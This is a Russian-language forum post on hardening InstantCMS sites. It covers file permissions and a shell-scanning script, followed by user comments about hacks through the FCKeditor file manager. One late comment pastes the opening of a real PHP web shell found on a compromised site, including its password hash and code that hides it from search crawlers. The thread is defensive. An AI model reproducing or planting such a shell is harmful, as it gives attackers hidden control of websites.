Техника безопасности или АнтиШелл

2167
Приветствую!

В последнее время участились попытки взлома сайтов на Инстанте, поэтому решил еще раз напомнить основные меры предосторожности. Если вы в этом ничего не понимаете - в конце поста есть скрипт для сканирования сайта на потенциальные уязвимости.


Расшифровка набора прав

1. Владелец всех папок/файлов сайта должен отличаться от юзера, под которым выполняются скрипты.
2. Права на все папки должны быть 755 (кроме тех, в которые должны быть разрешена запись)
3. Права на все файлы должны быть 644 (кроме тех, которые разрешено редактировать)

Если владелец папок/файлов совпадает с юзером, под которым выполняются скрипты(и нет возможности это исправить - например на вирт хостинге), то права нужно выставить другие:
1. Права на все папки должны быть 555 (кроме тех, в которые должны быть разрешена запись - кэш, images, upload)
2. Права на все файлы должны быть 444 (кроме тех, которые разрешено редактировать)

Существует простой способ просканировать сайт на шеллы (может найдет не 100%, но основные выявит) и проверить права на папки.

Для этого скачайте файл (автор скрипта Григорий Земсков), закиньте в корень сайта и запустите. Обратите внимание на доступные к записи папки. После проверки файл нужно удалить.

PS если не уверены в настройке прав на своем сайте - не поленитесь скачать скрипт и запустить.
Система переписки, версия 1.2 | Хак Компонента iChat (от Maxisoft)
Комментарии (59)
Thanatognozija 24 мая 2012 в 14:53 0
Очень, очень, очень актуально. Никогда не думал, что такое возможно, но вот, взломали... Спасибо за такое решение!
Suslik 24 мая 2012 в 22:54 +1
меня тоже взломали 2 недели назад, и что интересно - залили какие-то свои левые рекламные нтмл-ки с копиями каких-то форумов как будто с обсуждением какой-то ерунды типа чертежей шестеренок, но что интересно - с поисковиков на их рекламу валом повалили пользователи - вот я теперь в шоке - мы раскручиваем раскручиваем и все бестолку, тут какой-то левый спаммер позаливал свою ерунду и на нее кинулись толпой пользователи, у меня даже был один пустой домен, они и туда свой спам залили и туда тоже люди повалили - на нулевый домен - вот загадка - как это делается?
spacer 26 мая 2012 в 14:35 -1
Да загадки нет большой.
Просто псевдостраниц заливается очень большое количество, тысячи. И что-то да попадает на некоторое время в поиск, пока Яндекс не выкинет.
Вы можете попробовать, нагенерить страниц по каким-то запросам, и закинуть на сайт. Трафик пойдет некоторое время, но потом будет хуже.
Ганс 14 марта 2013 в 02:06 0
с буксы какой-нибудь народ валил)))
stasis 24 мая 2012 в 15:35 0
Просканировал... и что мне делать с этими скриптами?
Скрипт использует подозрительный код: ./admin/applets/phpinfo.php ./admin/includes/phpinfo.php ./components/onlaintv/frontend.php ./components/video/video_operations_movies.php ./core/cms.php ./includes/bbcode/bbcode.lib.php ./modules/mod_wrapper/module.php ./plugins/p_fckeditor/fckeditor/fckeditor_php4.php ./plugins/p_fckeditor/fckeditor/fckeditor_php5.php
eoleg 24 мая 2012 в 16:11 0
ничего, просто скрипт некоторые функции считает подозрительными.
для успокоения сравните размеры этих файлов на сервере и в дистрибутиве
Mario 24 мая 2012 в 16:18 0
спасибо за скриптик.
есть еще какие-нить дополнительные варианты предохранений от взлома? например, ну незнаю - скажем правильно настроенный .htaccess
SJen 24 мая 2012 в 17:42 +2
есть один - 100% ный способ защиты, через htaccess
поставить пароль на папку с сайтом)
Thanatognozija 24 мая 2012 в 16:41 +2
Вот, может быть кому-то пригодится, была поднята тема здесь: http://instantcms.ru/forum/thread10918.html
Suslik 24 мая 2012 в 22:59 0
аааа - спасибо, а я тоже думал - через что взломали, оказывается опять инстант... ммм-да, а дыру то нашли?
Евгений Фоменко 22 июля 2012 в 11:59 +1
Это не дыра в своем натуральном понимании - это наша халатность и некорректная настройка хостинга "на и так сойдет". У меня вон в папку includes набросали мусора. Кто виноват? Я блин ((((
Soul 24 мая 2012 в 17:05 +4
Полезный скрипт. Не так давно добавил его к функциям админки, кому интересно - можно глянуть тут.
SJen 24 мая 2012 в 17:50 +3
почитал про встраивание в админку
можно в сам скрипт в начале добавить проверку на админа
то есть если он открывается не от лица Инстантовского юзера с правами администратора, то ничего не делать. Тогда напрямую его никто посторонний не сможет открыть.
Soul 24 мая 2012 в 17:59 +1
Если еще подскажите как - цены вам не будет! :)
Вот только построено на примере "Информация PHP", и даже она открывается прямым запросом http://сайт/admin/includes/phpinfo.php ... :(
отсюда и доп защита через паролирование...
SJen 24 мая 2012 в 18:05 +4
поправлю файл и закину, тут на пальцах не объяснишь)
Soul 24 мая 2012 в 18:06 +1
ОК. спасибо!
letsgo 24 мая 2012 в 18:29 -2
Если уж начинать то с начала. В исп менеджере права на папку общие, затем уже по порядку.
PET 24 мая 2012 в 18:55 +1
Новая версия скрипта идёт уже с паролем. Качайте: http://www.revisium.com/ai/
googlebot 24 мая 2012 в 20:08 0
пароль, как параметр в урл, - это смешно...
SJen 24 мая 2012 в 20:19 +1
нужна проверка авторизации в инстанте и проверка прав, это будет лучше всего
googlebot 24 мая 2012 в 20:55 0
не разжуете еще плз разницу в правах, когда php стоит как модуль apache и как cgi(fastcgi)
SJen 24 мая 2012 в 21:42 0
к сожалению нет..
Я так глубоко не копал
eoleg 24 мая 2012 в 19:22 0
ZEOS ANTIVIRUS - Антивирус для сайта
-----------------------------------------------------
http://dle-news.ru/modules/1058-zeos-antivirus.html

а мне этот понравился, может он хуже чем айболит?
Patriot 24 мая 2012 в 19:32 0
3 года был сайт на DLE, отзывы по ZEOS ANTIVIRUS не ахти. Да и по разговорам форумчан Зеос делал падляны раньше, не знаю как сейчас...
eoleg 24 мая 2012 в 19:40 0
код открытый
считает контрольные суммы
а этого для контроля мне кажется достаточно
Dizels 24 мая 2012 в 19:52 0
Прошу прощения за скорее всего глупый вопрос, но вот выдал мне скрипт:
Код PHP:
Скрипт использует подозрительный код:

    ./admin/applets/phpinfo.php
    ./admin/includes/phpinfo.php
    ./assets/php/phpmailer/class.phpmailer.php
    ./core/cms.php
    ./includes/bbcode/bbcode.lib.php
    ./plugins/p_fckeditor/fckeditor/fckeditor_php4.php
    ./plugins/p_fckeditor/fckeditor/fckeditor_php5.php

Небезопасно! Директории, доступные скрипту на запись:

    ./admin
    ./admin/ajax
    ./admin/applets
    ./admin/components
    ./admin/components/actions
    ./admin/components/arhive
    ./admin/components/autoawards
    ./admin/components/autoawards/images
    ./admin/components/banners
    ./admin/components/blogs
    ./admin/components/board
    ./admin/components/catalog
    ./admin/components/catalog/js
    ./admin/components/clubs
    ./admin/components/comments
    ./admin/components/content
    ./admin/components/faq
    ./admin/components/forms
    ./admin/components/forum
и много еще папок - соответственно какие права мне нужно поставить? А то как-то вначале сообщения непонятно написано на этот счет.
Soul 24 мая 2012 в 20:04 +1
SJen 24 мая 2012 в 20:07 +1
проверьте что стоит, вообще надо 755
Но если так и стоит и папка доступна для записи - ставьте 555
Malanas 24 мая 2012 в 20:33 0
Алексей 24 мая 2012 в 20:55 0
А кто слышал о скрипте который может изменить chmod ? заливаешь его на хостинг а потом запускаешь из урла, перед заливкой в скрипте нужно указать на каких файлах нужно изменить права доступа. Я вот о чём подумал - если юзер сможет такой скрипт загрузить к себе в контент(фото, файлы,) или на форум то... вообщем понятно что будет))...беспроблемм сможет скачать полностью сайт например с помощью Explorer Enterprise. Возможен ли такой способ взлома?
letsgo 24 мая 2012 в 20:55 -2
Sjen:
Владелец всех папок/файлов сайта должен отличаться от юзера, под которым выполняются скрипты.

Немного точнее этот момент.

2 вопрос. Если в Исп менеджере стоят на общую папку сайтов права 755, так и оставить либо ставим 777 и далее по инструкции?
SJen 24 мая 2012 в 21:26 0
что значит "общая папка"? - папка, в которую разрешена запись, типа images?
Вот еще нашел пост, который писал Fuze - показать.. Пункты 2-6 актуальны, я написал почти то же самое.

Основные моменты оттуда
eoleg 24 мая 2012 в 21:34 0
апачь запускается от имени например www-data а владельцем ваших папок и файлов в директории www не должен быть www-data а ктото другой, например letsgo
Dinar 25 мая 2012 в 05:29 +1
Но оунером папок создаваемых самим инстантом будет все равно www-data (или под кем апач запущен).
eoleg 24 мая 2012 в 21:37 0
в Исп менеджере выйдите в директорию site.ru и выбрав ее поменяйте владельца, права на папки 755, права на файлы 644 рекурсивно и затем на указанные fuze папки поставьте отличные от этих прав права (777)
Reborn 27 мая 2012 в 08:35 -1
ispmanager изначально - зло. Он создает кривые пути,в силу своей ширпотребности.
Пора уже давно было привыкать к консоли и от неё оталкиваться.
lezginka.ru 24 мая 2012 в 21:09 0
профи , большая просьба, в конце резюмировать то, что пишет SJen,malanas,Soulpest , иначе чайнику не понять, что и как .
SJen 24 мая 2012 в 21:30 0
напишу проще
Скачать айболита, запустить(либо по моей ссылке, либо тут еще кидали - более новая версия). Если будут найдены вирусы - почистить. Если открыты права на запись в ненужные папки - исправить.
LonelyCat 24 мая 2012 в 21:15 0
попробовал. выдал после пятиминутной обработки просто белый экран, без всяких комментариев.
SJen 24 мая 2012 в 21:28 0
может не хватает времени для работы скрипта - могу предложить кинуть его не в корневую папку, а в ту, где файлов поменьше и запустить, тогда будет понятно в чем проблема.
Suslik 24 мая 2012 в 23:08 0
Все это хорошо, антивирусы это виндовая беда - там с вирусами борятся при помощи антивирусов, в нормальных же системах закрывают дыры, соответственно вопрос:

Через какую дыру произошел очередной массовый взлом инстанта???
Kornely 25 мая 2012 в 10:38 0
кто-то мне говорил, что через яву народ проникает, но насчет инстанта точно не могу сказать. надо контролировать и данный вопрос.
googlebot 25 мая 2012 в 11:29 +1
дыра в файловом менеджере fckeditor позволяла заливать на сайт файлы (например pdf с внешними ссылками), а на некоторых хостингах можно было переназначить тип для картинок на пхп, что давало возможность выполнить произвольный пхп-код. тестируйте патч от fuze
lezginka.ru 25 мая 2012 в 19:59 +1
googlebot , спасибо, что по человечьи изъяснил :)
еще бы кто защитные скрипты к админке привязал бы
Скорпион 27 мая 2012 в 03:40 0
Уважаемые Гуру - подскажите.
Положил файл - запускаю - выводится листинг файла без выполнения.
Добавил в начала к <? слово php и заработало.
Причем с этой проблемой уже не раз встречаюсь.
Подскажите - от чего так?
Марат 27 мая 2012 в 08:13 0
У вас не включены короткие теги. Сделать это можно в php.ini
Код PHP:
Код PHP:
short_open_tag = On
или если нет доступа к php.ini и php установлен как модуль Апача, можно в .htacceess
Код PHP:
php_flag short_open_tag On
Это мы разрешаем короткую форму записи (<? ?>) тегов PHP.
Для кодеров всё же считается хорошим тоном писать в коде <?php ?> для портативности скриптов.
Скорпион 27 мая 2012 в 21:00 0
Огромнешее спасибо - либо плохо рыл...но както не удалось найти....
А вот ещё один вопросец - из это темы......
У меня была проблема в админке iChat - не выводились значения параметров и вообще ничего нельзя было изменить - решилось изменением в backend.php строк с <[email protected] на <?php echo

Причем локально - на Денвере - никаких проблем - а вот на рабочем сервере была беда. Подозреваю что возможно что-то не так настроено в PHP - но мне легче было изменить код - нежели разбираться в необходимых настройках PHP - так как все остальное вроде работает исправно.

Это из этой же истории??
Евгений Фоменко 27 мая 2012 в 12:23 0
Записываюсь на анализы )
Хотя вопрос безопасности очень актуален - нужно будет этому уделить отдельное внимание
Female 15 июня 2012 в 08:16 0
айболит не сработал в моем случае,думаю и не только у меня .поэтому ,если вы не проставляли права ,то лучше проверьте самостоятельно все файлы и папки (в моем случае было залито в саму папку Upload файлы :pdf,xml), и поставьте нужные права
SJen спасибо за разжевывание материала)))
Female 15 июня 2012 в 08:23 0
не могу понять, как защитить папку Upload,какими правами,чтоб в нее не заливали хрень всякую тогда?
googlebot 15 июня 2012 в 08:41 +1
Female, pdf и xml скорее всего и не были ни вирусами ни шеллами, обычно заливают просто статьи с внешними ссылками. А заливают их, используя дыру в файлменеджере FCKeditor. Защитить можно удалив папку /plugins/p_fckeditor/fckeditor/editor/filemanager/connectors/, однако пользователи не смогут заливать файлы и изображения.
Female 15 июня 2012 в 08:59 0
спасибо за ответ!да там в этих файлах ссыль на один украинский сайт,залили на оба сайта кстати в один день. вообще файлы я вроде как везде устранила возможность закачать .только изображения.Получается замкнутый круг какой то.
Man 15 июня 2012 в 10:39 0
У меня сразу на трех инстантовских сайтах залили pdf со статьями на 1 сайт kralya.org.ua
Female 15 июня 2012 в 11:00 +1
Female 28 июля 2012 в 11:32 +2
кто сидит на старых версиях проверьте : сайт.ru\components\clubs\js файл club.php
проверяла старые архивы антивир нашел шелл ,не помню должен ли быть вообще данный файл,в самом верху у меня было прописано:
<?php # Web Shell by oRb
$auth_pass = "63aad2be69b352c04c987854823a5e";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
DAngel 4 сентября 2012 в 22:30 0
Не совсем ясно как заливают файлы при отключенных пользователях? Если брать скрипт айболита, то я его заливаю на хостинг и он конечно с моими правами там, запуская его, ему конечно доступны на запись папки. Т.е. получается, что фаил можно залить угнав логин и пасс от ФТП.
Владимир 5 сентября 2012 в 03:17 -1
Растолкуйте, знатоки, что означает:
"Владелец всех папок/файлов сайта должен отличаться от юзера, под которым выполняются скрипты".
То есть, если я, например, владелец сайта (он же - админ). А кто тогда юзер, под которым выполняются скрипты?
DAngel 9 сентября 2012 в 14:02 0
По всей видимости он же. Если хостинг. А вот если свой сервер можно и покрутить с правами.
Vlad 12 января 2013 в 21:45 0
Владелец всех папок/файлов сайта должен отличаться от юзера, под которым выполняются скрипты.
Как это узнать и кто есть кто?